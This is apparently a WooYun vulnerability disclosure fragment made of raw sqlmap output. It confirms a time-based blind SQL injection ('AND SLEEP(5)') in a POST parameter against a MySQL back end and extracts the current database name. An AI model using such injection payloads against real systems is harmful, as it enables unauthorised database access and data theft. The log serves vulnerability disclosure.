WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: nwenzxh (POST)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: cxingm=88952634&nwenzxh=66923 AND SLEEP(5)&ddate=2015-09-03&cleib=x
inwen&cbiaot=%EF%BF%BD%EF%BF%BD%EF%BF%BD%C7%BA%EF%BF%BD%EF%BF%BD%CF%BC%EF%BF%BD%
EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD
%DE%B9%EF%BF%BD%CB%BE%EF%BF%BD%EF%BF%BD%D5%A9%D7%A8%EF%BF%BD%EF%BF%BD%CB%BE%EF%B
F%BD%EF%BF%BD&cneir=88952634
---
[19:43:56] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[19:43:56] [INFO] fetching current database
[19:43:56] [INFO] resuming partial value: d
[19:43:56] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[19:44:18] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[19:44:29] [INFO] adjusting time delay to 1 second due to good response times
bmins
[19:45:00] [ERROR] invalid character detected. retrying..
[19:45:00] [WARNING] increasing time delay to 2 seconds
[19:45:22] [ERROR] invalid character detected. retrying..
[19:45:22] [WARNING] increasing time delay to 3 seconds
[19:45:42] [ERROR] invalid character detected. retrying..
[19:45:42] [WARNING] increasing time delay to 4 seconds
[19:46:07] [ERROR] invalid character detected. retrying..
[19:46:07] [WARNING] increasing time delay to 5 seconds
heng
current database:    'dbminsheng'